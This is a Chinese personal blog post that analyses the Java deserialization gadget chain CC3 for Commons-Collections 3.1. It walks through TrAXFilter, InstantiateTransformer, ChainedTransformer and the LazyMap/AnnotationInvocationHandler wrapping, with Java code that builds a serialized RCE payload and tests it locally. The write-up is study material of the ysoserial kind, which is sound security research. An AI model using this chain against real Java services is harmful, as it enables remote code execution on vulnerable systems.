沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之CC3

0x00 前言


有了之前的几个Gadget的基础,似乎分析后面的Gadget都如鱼得水了(至少现在分析CC3是这样的🤣),一日一更好像可以实现了🤗。结果一晚上,我玩了半天Windows Terminal和PowerToys,不得不说有了这两个东西,效率从某方面来说是高了,但从另外一方面也让我效率更低了🤣。

本篇包含以下元素:

  • CC3-Gadget的分析(只适用于JDK7或8u71,CC-3.1)

0x01 TrAXFilter


CC3-Gadget采用的思路其实就是将CC2与CC1结合,继续使用CC1中LazyMap下的Anno…Handler包装来触发,同时继续使用CC2中的Templates链。这几篇文章的链接如下,有不清楚的读者(在想什么?根本不存在读者,好吧)可以先去阅读这几篇:

java反序列化之CC1其一Java反序列化之CC1其二Java反序列化之CC2

构造函数

在CC2-Gadget一文中,我们介绍过如何构造一个Templates链,这个链只要被调用了newTransformer方法,就会触发。而在TrAXFilter的构造函数中,居然直接调用了Templates templates的newTransformer……(我好不容易xx,你却让他调用的这么轻易,焯🤡

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

所以我们可以很轻易的写出下面的一层包装,当实例化时就会触发RCE:

//templates链的构造,自己看CC2-Gadget文章去实现。
MakeTemplates makeTemplates = new MakeTemplates();
TemplatesImpl templates = (TemplatesImpl) makeTemplates.makeTemplate();
//the constructor of TrAXFilter invoke "templates.newTransformer()"
TrAXFilter txFilter = new TrAXFilter(templates);

0x02 InstantiateTransformer


InstantiateTransformer类中的transform,和CC1中的InvokerTransformer类似,不过后者是可以通过反射获得任意方法,而这里可以通过实例化任意的类。(话说能获得任意方法,似乎也能慢慢构造出实例化任意类,下次有空再试试)

transform

在InstantiateTransformer#transform(Object input)中利用反射调用实例化了任意类:

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);
        //略

这里的iParamTypes和iArgs都是可控的:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

尝试用这个类进行进一步包装:

//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//use InstantiateTransformer.tranform() to new a TrAXFilter
Class[] iParamTypes = new Class[]{Templates.class};
Object[] iArgs = new Object[]{templates};
InstantiateTransformer instTmer = new InstantiateTransformer(iParamTypes, iArgs);
instTmer.transform(TrAXFilter.class);

成功的弹出了计算器,YES。

0x03 ChainedTransformer


上面虽然实现了调用transform并传入TrAXFilter.class即可实现RCE,但是仍然是不够的,因为还是需要手动传参,如果有一个能够帮助我们传入参数的方法就好了。如果还记得CC1-Gadget中的分析的话,就能够很容易想到一个类: ChainedTransformer,使用这个类中的transform方法,能够让实例化时传入的Transformer[]中的T[i]依次调用自己的transform,并且会把T[i].transform的结果当作T[i+1].transform的参数。另外,ConstantTransformer#transform,不管传入什么参数,都只会返回实例化时传入的参数。所以,将两者结合,放入到Transformer[]中,然后传递给ChainedTransformer,当调用ChainedTransformer#transform时,就可以做到自动传参。思路就是:

  1. T[i] = new ConstantTransformer(T[i+1]需要的参数)
  2. T[i+1] = new xxxTransformer(xxx)
  3. 把T[]放入ChainedTransformer,即new ChainedTransformer(T[])
  4. 调用ChainedTransformer#transform,就可以做到xxxTransformer.transform(T[i+1]需要的参数)的效果

构造

上面说了这么多,已经把构造的思路说的很明显了,下面尝试构造:

//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//use LzMap && Annotation...Handler (CC1-Gadget)
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//test chain
chain.transform("foo");

0x04 LazyMapChain


上面已经成功构造出了chain,然后我们就可以直接使用CC1里的LazyMapChain来进行一步到位的包装,实现readObject触发(关于LzMapChain的构造不再赘述,可看CC1):

HashMap hashMap = new HashMap();
LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap, chain);
//test lazyMapChain
//lzMap.get("foo");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lzMap);
Map proxyLzmap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(),
                                              lzMap.getClass().getInterfaces(),
                                              handler
                                             );
Object payload = ctor.newInstance(Documented.class, proxyLzmap);
//test serialize
LzMap.testSer(payload);

测试类如下:

public static void testSer(Object payload) throws Exception{
    //ser
    FileOutputStream file = new FileOutputStream("Red.bin");
    ObjectOutputStream se = new ObjectOutputStream(file);
    se.writeObject(payload);
    se.close();
    //deser
    FileInputStream file1 = new FileInputStream("Red.bin");
    ObjectInputStream unse = new ObjectInputStream(file1);
    unse.readObject();
    unse.close();
}

0x05 参考


Ysoserial Commons-Collections 利用链分析 (seebug.org)